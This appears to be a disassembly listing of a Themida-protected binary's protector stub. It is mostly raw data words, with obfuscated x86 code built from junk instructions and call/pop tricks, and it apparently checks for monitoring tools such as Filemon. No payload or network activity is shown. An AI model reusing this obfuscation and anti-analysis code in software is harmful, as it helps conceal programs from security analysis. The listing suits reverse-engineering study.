		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF92D30h, 55A870D3h
		dd 0A2DE9EFBh, 2F8365E2h, 0B86E90BDh, 8015121h,	0E0FFC503h
		dd 705B09CFh, 554C0D4Bh, 7B782E14h, 14FC19ECh, 65EC1E63h
		dd 7F241A98h, 54A0C9C8h, 105928B9h, 74F94D89h, 72FEEADEh
		dd 29D8A8BBh, 2DD46AE0h, 52D88D8Dh, 6A0801h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F3A918C3h
		dd 2751B58Bh, 8D8907FAh, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0A0C35747h,	9A9C0CB6h, 0E7CA8166h
		dd 9E8DAh, 0E4780000h, 0E352E0CAh, 0FAB9F54h, 583h, 74A4BF00h
		dd 0C758655Fh, 0FA31AD85h, 615007h, 95950B00h, 0C707FA15h
		dd 0FA2BD985h, 7, 0B3EA8000h, 167DB5FFh, 6A07FAh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 7F594DC3h, 9F881F92h, 8B6A31BFh, 0FA20319Dh,	9995FF07h
		dd 0F07FA17h, 6AD6B7h, 101995FFh, 0C08B07FAh, 0DC7D0EEBh
		dd 3D8B1EBCh, 0BD7EFD02h, 5027B569h, 12E8h, 16382700h
		dd 615AEACAh, 7C5033E9h, 0C816B62Ah, 0E9EDAC77h, 0Eh, 47026FF3h
		dd 8C2D1BBBh, 0C960904Fh, 0F5FF69Fh, 0C781DEBFh, 68ACh
		dd 1A07B8h, 0E6816600h,	0F8B4CEAh, 0D9D9D8Bh, 0C18107FAh
		dd 24204A61h, 11E8h, 126ADB00h,	0DB581D2Dh, 5E3C5D26h
		dd 0C66C5322h, 0CDBBDF6Ah, 5E2E0709h, 813DF181h, 0D38B772Ch
		dd 0C010C181h, 51F517C4h, 0AA62EDBEh, 66078F78h, 83E622BAh
		dd 0C28104EFh, 2A7C29D9h, 1E881h, 850F0000h, 0FFFFFFA6h
		dd 0BE8F5h
		dd 2AE90000h, 0A23F58B1h, 5A10D239h, 0ED9D337Fh, 5A07FA01h
		dd 6001C281h, 9D8B0000h, 7FA1005h, 17CDB8h, 1FBB6600h
		dd 0E832FFD3h, 0Ah, 0FF958C33h,	0FD90E28Fh, 9D897474h
		dd 7FA21E5h, 8E95F5Eh, 33000000h, 491ECA42h, 81A5746Ch
		dd 64B990F7h, 9D0B5356h, 7FA25DDh, 3BEF815Eh, 812EDDD2h
		dd 78777DC7h, 0F08B664Ah, 0EA833A89h, 12E904h, 5150000h
		dd 0B1535D87h, 0B8EB4987h, 7F77414Ch, 2C482E60h, 1E881h
		dd 850F0000h, 18h, 0C3DFBB66h, 36E9h, 0B4DD5700h, 15C1A0Ch
		dd 0F33FAFFEh, 6881BC95h, 0DE9h, 0EEBABC00h, 3E3F8488h
		dd 23FD3917h, 66E90D62h, 0B1FFFFFFh, 656A048Fh,	68A3159Bh
		dd 986B6737h, 0E8E4FD80h, 0Ah, 7A811E12h, 3706E99Ah, 0F081BBC5h
		dd 4C395764h, 69B58B5Bh, 8107FA20h, 6C4FC3h, 0CCEFB900h
		dd 0E9816C61h, 6C61B1FEh, 1855958Bh, 3B8B07FAh,	6E9h, 20F2BD00h
		dd 81B341F0h, 34419EF7h, 92CA817Eh, 815EB4DDh, 67B4E7EFh
		dd 0BD8B6018h, 7FA0829h, 15918D29h, 816107FAh, 0E38709F7h
		dd 5860F1Ah, 66000000h,	0D1C9C281h, 0BE663B89h,	0EB813A49h
		dd 186F87B1h, 0ADC381F9h, 66186F87h, 83847CBAh,	850F01E9h
		dd 0FFFFFFA2h, 8B0ACC80h, 0CDBD83C0h, 7FA2Ah, 0BD830975h
		dd 7FA1899h, 50197400h,	0B8C08B53h, 421h, 20C98589h, 9D8D07FAh
		dd 7FCE224h, 585BD3FFh,	1899BD83h, 740007FAh, 0B8535017h
		dd 421h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh, 9D8BC08Bh
		dd 7FA14A9h, 66585C6h, 685607FAh, 9CA8B852h, 2095B5FFh
		dd 858D07FAh, 7FDA3DDh,	46AD0FFh, 100068h, 69B5FF00h, 6A07FA1Ch
		dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+7FA72FBh]
		jmp	ecx
; ---------------------------------------------------------------------------
		dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 19BD83D3h, 7FA27h
		dd 0E840Fh, 9D8B0000h, 7FA2719h, 1EA9858Bh, 38907FAh, 858D5251h
		dd 7FA43D1h, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 66585C6h
		dd 685607FAh, 0D41F6D39h, 2095B5FFh, 858D07FAh,	7FDA3DDh
		dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 7FA2ACDh
		dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 421B8h
		dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h,	99BD8358h
		dd 7FA18h, 53501774h, 421B8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh
		dd 5BD3FF07h, 8DC08B58h, 0FA27199Dh, 0B038B07h,	7840FC0h
		dd 8B000000h, 45B8B03h,	41B81889h, 0E800004Bh, 0Ah, 0C59AAE95h
		dd 43C04D20h, 0DE96F00h, 0DB000000h, 6BC0E5B6h,	0CA423373h
		dd 746C491Eh, 0C68B665Bh, 0D847C381h, 9BBF0000h, 68386775h
		dd 0
; ---------------------------------------------------------------------------
		jle	loc_5F8AD0
		mov	dl, al


loc_5F8AD0:				; CODE XREF: Themida_:005F8AC8j
		pop	ecx


loc_5F8AD1:				; CODE XREF: Themida_:005F8B29j
		push	dword ptr [ecx+ebx]
		clc
		pop	esi
		jmp	loc_5F8AE5
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0D431A16Bh, 7B34B337h
		db 69h
; ---------------------------------------------------------------------------


loc_5F8AE5:				; CODE XREF: Themida_:005F8AD6j
		xor	esi, 45B2C3F0h
		mov	di, 0D8F0h


loc_5F8AEF:				; CODE XREF: Themida_:005F8B68j
		sub	esi, 6775161Fh
		mov	edx, edi
		xor	esi, 29FF3006h
		mov	ax, 0CFA0h
		mov	[ebx+ecx], esi
		mov	edx, eax
		mov	eax, esi
		sub	ecx, 3
		dec	ecx
		mov	eax, edi
		cmp	ecx, 0FFFF285Ch


loc_5F8B14:				; CODE XREF: Themida_:005F8B50j
		jnz	loc_5F8B26
		mov	edi, ecx
		jmp	loc_5F8B3F
; ---------------------------------------------------------------------------
		db 5Bh,	59h, 8Dh
		db 0F7h, 0A8h
; ---------------------------------------------------------------------------


loc_5F8B26:				; CODE XREF: Themida_:loc_5F8B14j
		movsx	edx, bx
		jmp	loc_5F8AD1
; ---------------------------------------------------------------------------
		dw 0A35Ch
		dd 76C22E1h, 0A8844ECh,	0EE31FBE6h
		db 55h,	0A1h, 7Bh
; ---------------------------------------------------------------------------


loc_5F8B3F:				; CODE XREF: Themida_:005F8B1Cj
		dec	dl
		das
		db	2Eh
		push	cs
		test	al, 8Ch
		cmpsb
		dec	edx
		mov	ch, [edx+2Fh]
		push	cs
		test	al, 0ABh
		aad	0EAh
		jnz	short loc_5F8B14
		das
		push	cs
		test	al, 8Ah
		cmpsd
		dec	edx
		mov	bh, [edx+6757AE5Dh]
		movsb
		dec	edx
		mov	dh, [edx]
		sub	al, 0Eh
		test	al, 0ABh
		aad	0EAh
		jnz	short loc_5F8AEF
		sub	al, 0Eh
		test	al, 55h
		movsd
		dec	edx
		mov	al, [edi]
		sub	eax, 0A5D7A80Eh
		dec	edx
		mov	bh, cl
		sub	eax, 0D5ABA80Eh
		jmp	far ptr	0C81h:0D42F2575h
; ---------------------------------------------------------------------------
		dw 1D2Bh
		dd 6A2C003h, 90A75CA9h,	59A31D1Dh, 422ED121h, 0D42F4D8Bh
		dd 1D2B0C46h, 6AAC003h,	90A75CA9h, 59A31CCCh, 423AD121h
		dd 0D42F4D8Bh, 1D2B0D35h, 6B6C003h, 90A75CA9h, 59A31C78h
		dd 4236D121h, 0D42F4D8Bh, 1D2B0E9Eh, 682C003h, 90A75CA9h
		dd 59A31FF5h, 4202D121h, 0D42F4D8Bh, 1D2B0E68h,	68EC003h
		dd 90A75CA9h, 59A31E8Bh, 421AD121h, 0D42F4D8Bh,	1D2B0FEAh
		dd 696C003h, 90A75CA9h,	59A31EF1h, 4212D121h, 0B8C34D8Bh
		dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0F6C0D5F2h
		dd 96AA44DDh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
		dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 0EF3C7D3Ah
		dd 5342848Dh, 0EA2211ABh, 245D55FFh, 9C3AABA4h,	0DAC3B9CFh
		dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
		dd 1D2B3CAAh, 1129475h,	17A0D902h, 0AEAA44E2h, 51A1EC79h
		dd 0DC0941AEh, 14425622h, 3773BA82h, 732ADF10h,	5328C821h
		dd 0EA2255C0h, 152BFD5Bh, 9881508Ch, 50CA4700h,	0A5FBABA0h
		dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 0B6C0D5F2h, 0DAAA44D2h, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0A030BACCh, 9E2DAEB5h, 0FC69CE52h
		dd 0A5B99783h, 0FA31EFE2h, 17A0D9F9h, 0AEAA44E2h, 949A0D79h
		dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 4DD0BE29h
		dd 24294D8Bh, 1957DFA0h, 515E004Dh, 532A54A8h, 4C53D775h
		dd 0CDA15352h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 17A0D9F9h
		dd 0AEAA44E2h, 949A0D79h, 651A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh,	919197B9h
		dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h
		dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h,	37AA8E4Bh
		dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h
		dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh,	0C20E458Ah
		dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h
		dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah,	0E0A2458Ah
		dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 14425622h
		dd 0E173BA82h, 9FA7FEF8h, 59A32D88h, 0D6A08557h, 5DDF6E20h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh,	478BD775h
		dd 45265352h, 5328C820h, 0EA2255C0h, 0FB2BF55Bh, 3186949Bh
		dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh,	0E96F93A4h
		dd 51A2458Ah, 87D5FE04h, 5658587Bh, 17868C23h, 0DB2FEF49h
		dd 1D2B3CAAh, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h
		dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh,	0DAAA3001h
		dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 0ABBFB418h, 0B9E2DFAFh
		dd 0DC088558h, 14425632h, 3771BA82h, 73E39410h,	0FB63CF21h
		dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 4C53D775h
		dd 0DDA15352h, 0FB637726h, 7D28CE25h, 825D4D8Bh, 0E4AAECCEh
		dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h,	4A24D48h
		dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh,	732A54A8h
		dd 376B7732h, 17B0D903h, 0AEAA44E2h, 9592327Bh,	0FD09234Bh
		dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh
		dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh
		dd 8FA7FFCEh, 59A32D88h, 0A09A8757h, 0FB0E0320h, 7D28CE25h
		dd 825D4D8Bh, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0DEC0D5F2h
		dd 96AA44D1h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
		dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
		dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
		dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 422ACE25h
		dd 0DCF14D8Bh, 147D8332h, 0D871BA82h, 42C3A8EDh, 0AEA2458Ah
		dd 60D558DDh, 4138C882h, 462255FFh, 675DF07h, 0C6D55CA9h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 59A31296h
		dd 0C2B0D9FBh, 0AEAA44DDh, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 147D7C32h, 0CB2F1682h, 1D2B037Fh, 142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h
		dd 15DC08Dh, 50006A08h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BF0F62FBh, 8D89F9F3h, 7FA1CD9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F9C35646h
		dd 0E0A6E69Fh, 5277BE5Eh, 77BA60E0h, 6134694Dh,	0D4DB589h
		dd 85C707FAh, 7FA31ADh,	5F6Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 8EC35343h, 95319697h, 7FA16EDh
		dd 2AC38166h, 0D985C73Fh, 7FA2Bh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 60BBC353h, 8D19589h,	816607FAh, 61720FE6h, 30B5BD89h
		dd 0DE907FAh, 3D000000h, 0CB1C6C51h, 56150450h,	0A09A9B94h
		dd 16F1B5FFh, 0BD8B07FAh, 7FA0861h, 0CB5958Bh, 95FF07FAh
		dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0ECC35545h, 21B27C78h, 0D9ED04E8h, 85B58989h, 0F07FA14h
		dd 6ADFBFh, 101995FFh, 0C08B07FAh, 0D3400BEBh, 0D17753DBh
		dd 51467290h, 3BE987h, 8B600000h, 0FA1785BDh, 4EF8307h
		dd 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h
		dd 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h
		dd 61FFFFFFh, 0EBC88BC3h, 6C694616h, 6E6F6D65h,	73616C63h
		dd 73h,	0
		dd 0C010100h, 1000005h,	75958908h, 5007FA0Fh, 52505250h
		dd 8B0Fh, 310F0000h, 8E0Fh, 585A0000h, 5E9310Fh, 7C000000h
		dd 2B47F2DAh, 489585Ah,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0CA00F8BEh, 25FA454h
		dd 14E860h, 0BCB30000h,	8555EA87h, 4849D208h, 0A7348F61h
		dd 0DBFD6126h, 0BF660C55h, 81587D61h, 1BAA6BDFh, 8B666174h
		dd 29006AD9h, 0FA01898Dh, 0F006A07h, 38Fh, 0A0DD8000h
		dd 5F43858Dh, 0D78B0801h, 2830F50h, 0B1000000h,	240489CDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F9C35545h
		dd 0F6409CB2h, 0DE6040Bh, 0D68B6651h, 6890F5Bh,	8B000000h
		dd 0FA076D95h, 0B2006A07h, 0F006A16h, 688h, 65BD3100h
		dd 0FF07FA25h, 0FA2BE995h, 90E78007h, 669E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0FEFF3E57h, 0E8h, 0ED815D00h, 8015F48h, 5E9h, 454D8F00h
		dd 6AC617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2721ABC3h, 3B5EA79Ch, 79958B33h, 0E907FA1Dh
		dd 0Ah,	0F61E81DAh, 9D9B6D89h, 8D8B38F7h, 7FA1BE5h, 4E8h
		dd 0FA000h, 5096B500h, 424448Bh, 2840Fh, 61600000h, 0BA66008Bh
		dd 44896E6Ch, 33BB0424h, 5878D7BDh, 0BE9h, 91F5B300h, 178DF97Dh
		dd 1679177Eh, 101995FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh
		dd 12E8211Dh, 18000000h, 32EA9240h, 6A285161h, 0FA3C9961h
		dd 12BA58C6h, 21BD891Dh, 5B07FA20h, 2825BD89h, 0B58D07FAh
		dd 8015E14h, 1D8D8952h,	5A07FA29h, 655206C7h, 6A6D67h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 46C7FEC3h, 636E6F04h, 0C735B56Ch, 73610846h,	81660073h
		dd 6A1B2FEAh, 68A0F00h,	81000000h, 4E8591F3h, 14858D3Bh
		dd 6A08015Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 35F5C352h, 2025D009h, 80608C6Dh
		dd 0D980BFC0h, 0E8906102h, 6, 3EFEAEF1h, 1FBB8AC0h, 5F404C4Dh
		dd 90D58A50h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0A4C35242h, 3321FFE7h, 87F9ADBAh, 2595FF3Fh, 2B07FA1Fh
		dd 0FA11D98Dh, 0FC00B07h, 6484h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 7282FAC0h
		dd 0E8C58550h, 0Dh, 0C168BDF7h,	4E8DE684h, 7CAFE59Fh, 0D98B669Bh
		dd 404E959h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 1B72AFC3h, 23F0885Ah, 0FA177595h
		dd 4E807h, 12C0000h, 66500000h,	505BCE8Bh, 8BDE8B66h, 0E9042444h
		dd 13h,	0E54B0E06h, 80CC5743h, 1732B8A1h, 0E4914A1Dh, 8BA9DA9Dh
		dd 0B8BB5700h, 5F5B2CF2h, 4244489h, 0D78B6658h,	101995FFh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8D0FBAC3h, 5, 0F5C38166h,	0EFBB6647h, 14B58D97h
		dd 6608015Eh, 0D105EB81h, 383106C7h, 6A3634h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 3A9AB5C3h
		dd 370446C7h, 6A31342Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0F614C357h,	381EEBF7h
		dd 0B70FFA8Ah, 846C7CFh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5F9673
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F9673	proc near		; CODE XREF: Themida_:005F966Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5F9673	endp

; ---------------------------------------------------------------------------
		db 4Ah
		dd 7E5C70Eh, 0D2B3FA8Fh, 8166006Ah, 8DB694E2h, 15E1485h
		dd 2488BF08h, 860F13F5h, 6, 64DBD8Bh, 0F9007FAh, 88Ah
		dd 8F0F5200h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	eax
		mov	bl, 0E7h
		nop
		push	0
		push	ecx
		call	sub_5F96C8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F96C8	proc near		; CODE XREF: Themida_:005F96C0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5F96C8	endp

; ---------------------------------------------------------------------------
		dd 3B71A669h, 69B5896Ch, 0FF07FA01h, 0FA1F2595h, 9D316007h
		dd 7FA0DE5h, 0B61D48Ah,	36840FC0h, 8A000000h, 270E9EBh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6E60BFC3h, 8C0F96E0h, 9, 3840Fh, 0DE800000h
		dd 0BDE568F3h, 8B661ADBh, 243481D7h, 1ADBBCC9h,	0DE9h
		dd 51A59900h, 0F7625DE4h, 4DC37C37h, 95FF0831h,	7FA1019h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h
		dd 0D6F5C621h, 758C937Bh, 25950303h, 8D07FA1Dh,	15E14B5h
		dd 53006A08h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 331021CAh, 3BBA9369h, 694606C7h,	6A656Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 380D63C3h, 0E9D4BF5Ch, 0Ch, 90AEEB67h, 818E1E49h, 9783CD4Ah
		dd 46C77BB7h, 6E6F6D04h, 51006A63h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0B93C863Eh, 81858915h
		dd 0C707FA06h, 616C0846h, 6A7373h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0AA450EC3h, 2FD9D29h
		dd 0BD8B07FAh, 7FA1771h, 0C46C7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0ED80C355h, 6492C2DDh, 662B3DAAh, 6AF98Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 6FB615E4h
		dd 0E0F926AFh, 7E8ABh, 48DA0000h, 0D8B71C58h, 6E8C4h, 0DEB30000h
		dd 3CE809BDh, 8D5A5AF5h, 15E1485h, 51006A08h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8F0F28ADh
		dd 6, 305BD8Bh,	525007FAh, 5FD38B66h, 8B240489h, 0FA08318Dh
		dd 2595FF07h, 6A07FA1Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 759FC350h, 20840F14h
		dd 0E8000000h, 14h, 0F14C48CEh,	0CCE47AD3h, 6AFE421Fh
		dd 980A467h, 3792C7B5h,	8319D8Bh, 0B5F07FAh, 28840FC0h
		dd 0E9000000h, 2Ah, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0C0C35646h, 8166F8F4h, 0E9D8F7CAh, 0FFFFFA14h
		dd 0B58D4BB6h, 7FA72FBh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 2EC35343h, 9642C765h,	0B7B966C2h, 0B856h
		dd 9D0B0000h, 7FA1C99h,	6AE6FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 71D240C3h, 999D2Bh, 0C18B07FAh
		dd 0EE8h, 0C6AF0F00h, 342CD1FBh, 3CFBC3C2h, 5F94835Ch
		dd 149D8D8Bh, 0C78107FAh, 6E0Ch, 10A1B58Bh, 0D22B07FAh
		dd 11E9h, 5AD05800h, 0EACC2BFh,	87AAF611h, 981B28B8h, 34FFC010h
		dd 11BD893Ah, 5B07FA16h, 9E8h, 613F2D00h, 0E77E67D4h, 5EFC4729h
		dd 456BEB81h, 0B58B0D83h, 7FA1181h, 0A238F381h,	0B96614ACh
		dd 0C381F91Ah, 477FFB1Ah, 183D9589h, 1C8907FAh,	890F17h
		dd 66000000h, 838217B9h, 7E903EAh, 3B000000h, 5962F7A7h
		dd 0F4AF326h, 681h, 0C9B58B00h,	8107FA07h, 0FF92ACFAh
		dd 8F850FFFh, 0FFFFFFFh, 0C88h,	6880F00h, 0F000000h, 83h
		dd 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD2555CAh
		dd 0FD257B28h, 0FD256C69h, 0FD25E5CFh, 0FD2520B9h, 0FD25C297h
		dd 0FD25B27Ch, 0FD250A5Dh, 0FD255648h, 0FD257B77h, 0FD256C4Ch
		dd 0FD25E7A1h, 0FD252102h, 0FD25C3E3h, 0FD25B2CCh, 0FD250988h
		dd 0FD2555DCh, 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch
		dd 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h
		dd 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A25AC976h
		dd 0A25B7A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h
		dd 701ABC75h, 0FC1036F0h, 62FFA67Dh, 70729613h,	0FC10B5F0h
		dd 0A2FF6C7Dh, 7072F313h, 0FC10C5F0h, 66FF357Dh, 70725F13h
		dd 0FC1033F0h, 9EFF1E7Dh, 7072CA13h, 0FC133EF0h, 9AFF7B7Dh
		dd 70727813h, 0FC12C5F0h, 96FFD77Dh, 70722E13h,	0FC121CF0h
		dd 92FF427Dh, 7072E413h, 0FC1253F0h, 8EFFF07Dh,	7072BD13h
		dd 0FC12A2F0h, 82FFA67Dh, 70729613h, 0FC1203F0h, 8AFF6C7Dh
		dd 7072F313h, 0FC129EF0h, 86FF357Dh, 70725F13h,	0FC12D3F0h
		dd 82FF1E7Dh, 7072CA13h, 0FC13D3F0h, 72FF7B7Dh,	70727813h
		dd 0FC13E9F0h, 6EFFD77Dh, 70722E13h, 0FC13EFF0h, 6AFF427Dh
		dd 7072E413h, 0FC1333F0h, 7EFFF07Dh, 7072BD13h,	0FC13A6F0h
		dd 7AFFA67Dh, 70729613h, 0FC1058F0h, 76FF6C7Dh,	7672F313h
		dd 76788F0h, 25FF3572h,	76725F13h, 76C06F0h, 21FF1E72h
		dd 9C72CA13h, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h,	0F57BDB99h
		dd 0F53FD525h, 9BADADFDh, 34229F74h, 0AC7ACFB7h, 0AD29B723h
		dd 0FD7A1A20h, 7C277975h, 0FC12B198h, 0A3FFA07Dh, 7D722E13h
		dd 0FC1CC9C8h, 0B409CF7Dh, 4B75E4C5h, 89BAF9B5h, 21EF8635h
		dd 0BD72BD13h, 452B96FEh, 0FD7A2F7Ah, 9BA6028Ah, 48F7C374h
		dd 0F57B832Ah, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h
		dd 9BA6BA8Ah, 48F79F74h, 0F57BAD2Ah, 50FCD1F8h,	1F23228Ah
		dd 0A3F787BCh, 0A072BD13h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h
		dd 5779C1CDh, 9BA2708Ah, 3ED1FA74h, 0FD78079Dh,	9BC2DA75h
		dd 9B5954CDh, 25EFD0DEh, 9B729613h, 959208DEh, 0B7AE577h
		dd 8872F336h, 25EF866Eh, 4D72BD13h, 0AD7954C5h,	9BA2BA8Ah
		dd 9B209F74h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h,	15297975h
		dd 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h
		dd 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh
		dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h
		dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h
		dd 4DBA07F5h, 6885B5FFh, 0F57B94ADh, 0FD5F1F2Fh, 3F71DA51h
		dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h,	157AE574h
		dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh
		dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h
		dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h
		dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh
